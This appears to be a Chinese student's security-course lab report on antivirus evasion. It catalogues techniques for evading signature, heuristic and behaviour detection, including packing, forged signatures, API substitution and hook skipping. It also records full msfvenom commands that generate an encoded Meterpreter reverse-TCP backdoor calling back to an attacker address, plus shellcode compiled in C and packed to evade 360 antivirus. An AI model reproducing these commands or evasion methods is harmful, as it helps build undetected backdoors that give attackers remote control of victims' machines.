20155325 Exp3 免杀原理与实践

时间:2022-06-30 05:50:01

基础问题回答

杀软是如何检测出恶意代码的?

1.1 基于特征码的检测

1.1.1 特征库举例-Snort

1.2 启发式恶意软件检测

1.3 基于行为的恶意软件检测

免杀是做什么?

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

免杀的基本方法有哪些?

手工修改;

非源码

  1. 数据

如果特征码定位到数据(通过IDA/OD等确认),其实不好修改,稍微不慎就会导致程序不能运行,或者影响程序运行流程或结果。

字符串,如果不影响程序逻辑,可以替换大小写;如果无关紧要的数据,随意替换;等等,看情况而定。

整数,如果不影响结果,替换值,清零等等操作。

地址,基本应该不能修改,具体看情况。

PE头数据,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。

最后,终极修改方法,找到访问数据的代码,直接修改代码访问数据的地址,数据也可以放到其他地址了,其实就如同修改源码一样修改,肯定没有修改源码那么容易(见后)。

反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。

  1. 代码

如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。

等价替换汇编代码,如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。

交换代码顺序,在不影响逻辑的情况下。

代码块移位,将代码块移动不用的内存位置,通过加入jmp addr跳过去执行,addr是新的代码块地址。

源码

在有源码的情况下,修改的方式就更灵活了,更简单了。

如果特征码是数据,那么修改数据位置,访问数据的代码位置等(思想类比非源码方式)。

加花指令,这是最有效也是最常用的方式,要点在于如何加话指令。

加数据计算代码,加减乘除各类组合。

加字符串操作代码,增加、删除、查找、替换等。

加多层跳转,跳转间加无效指令(不会执行的)。

加貌似有效的API调用,如LoadLibrary+GetProcAddr+API等。

等等。

工具免杀;

在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。

资源操作

  1. 加资源

使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。

  1. 替换资源

使用ResHacker替换无用的资源(Version等)。

  1. 加签名

使用签名伪造工具,将正常软件的签名信息加入到自己软件中。

几种方式可以交替重复多次进行组合使用。

PE操作

  1. PE优化

使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。

  1. 增加节

增加节数据,随意加入无效数据。

加壳

可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。

通过加密器/压缩器将原始代码进行加密压缩,让其特征码变化隐藏,然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,将加密压缩内容解密解压,然后继续运行原始代码。

  1. 加冷门壳

壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。

所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。

  1. 加壳改壳

将常用壳进行修改,让壳特征变化,也可以是杀软失效。

比如修改入口,区段信息修改,入口代码移位。

可以类比为免杀壳,上面介绍的方法都可以使用。

动态行为免杀

  1. 替换api

使用相同功能的API进行替换,杀软不可能拦截了所有API,所以这种方式还是有效的。比如MoveFileEx替换MoveFile。

  1. 未导出api

寻找相同功能的未导出API进行替换,杀软拦截一般是导出API,或者底层调用,寻找未导出API有一定效果。

寻找方法,通过分析目标API内部调用,找到内部一个或多个未导出API,来完成相同功能。

  1. 重写api

完全重写系统API功能(通过逆向),实现自己的对应功能API,对于ring3的行为拦截非常有效。比如实现MoveFile等。

  1. api+5

ring3的API拦截通过是挂钩API头几个字节内容,然后进入杀软自己函数进行参数检查之类的。

那么如果调用API时,跳过头部几字节,就可以避开这种拦截方式。

__API:

1 push ebp;

2 mov ebp, esp;

3 mov edi, edi;

4 ...

调用时,不适用1地址,而使用4地址,然后自己函数内部还原跳过几字节的调用。

__API_MY:

push ebp;

mov ebp, esp;

mov edi, edi;

call 4

5. 底层api

该方法类似于2和3,杀软拦截API可能更加高层(语义更清楚),那就可以找更底层API进行调用,绕过拦截,比如使用NT函数。

或者通过DeviceIoControl调用驱动功能来完成API功能。

模拟系统调用。

  1. 合理替换调用顺序

有时拦截行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软拦截策略,也可以绕过改行为拦截。

比如,先创建服务,再将服务对应文件拷贝过去。

  1. 绕过调用源

通过调用其它进行功能来完成API的功能。比较经典的如,通过rundll32.exe来完成dll加载,通过COM来操作文件等等。

参考: 免杀技术有一套(免杀方法大集结)

实践总结与体会

越学这门课越觉得心惊

离实战还缺些什么技术或步骤?

1.如何将程序悄无声息地植入对方电脑

2.如何使对方电脑的程序运行,并成功与控制端连接

3.随着时间的推移,杀软数据库会更新,被查杀的可能性增加

实践过程记录

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

把上一次实验用msfvenom生成的5325bd.exe放入http://www.virscan.org/进行检测

20155325 Exp3 免杀原理与实践

按照教程用msfvenom多次编译

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe

20155325 Exp3 免杀原理与实践

其实检测结果并没有 太大的变化

用msfvenom生成.jar和.php

20155325 Exp3 免杀原理与实践

用msfvenom生成shellcode,做成20155325.c

用C语言重写meterperter

20155325 Exp3 免杀原理与实践

把成果进行检测

20155325 Exp3 免杀原理与实践

把20155325.c编译成可执行文件(后改名为p5325..exe)

20155325 Exp3 免杀原理与实践

进行检测

20155325 Exp3 免杀原理与实践

通过组合应用各种技术实现恶意代码免杀

max5325.c

加壳并检测

20155325 Exp3 免杀原理与实践

20155325 Exp3 免杀原理与实践

以上的程序中:p5325.exe p5325_upx.exe在win10的360杀毒下实现免杀

20155325 Exp3 免杀原理与实践

20155325 Exp3 免杀原理与实践

但是很恶心心的事情就是

两个都回连失败

20155325 Exp3 免杀原理与实践

实验中遇到的问题及思考

  • 问题一:想要上传到网站上检测,但是后门软件一传到主机就被杀软干掉了

  • 解决:当然是选择信任它

  • 问题二:在进行检测时

    20155325 Exp3 免杀原理与实践

  • 解决:去掉2015就好……可能年份会让这么一个网站感到时光流逝的沧桑,所以拒绝有关年纪的话题。

参考链接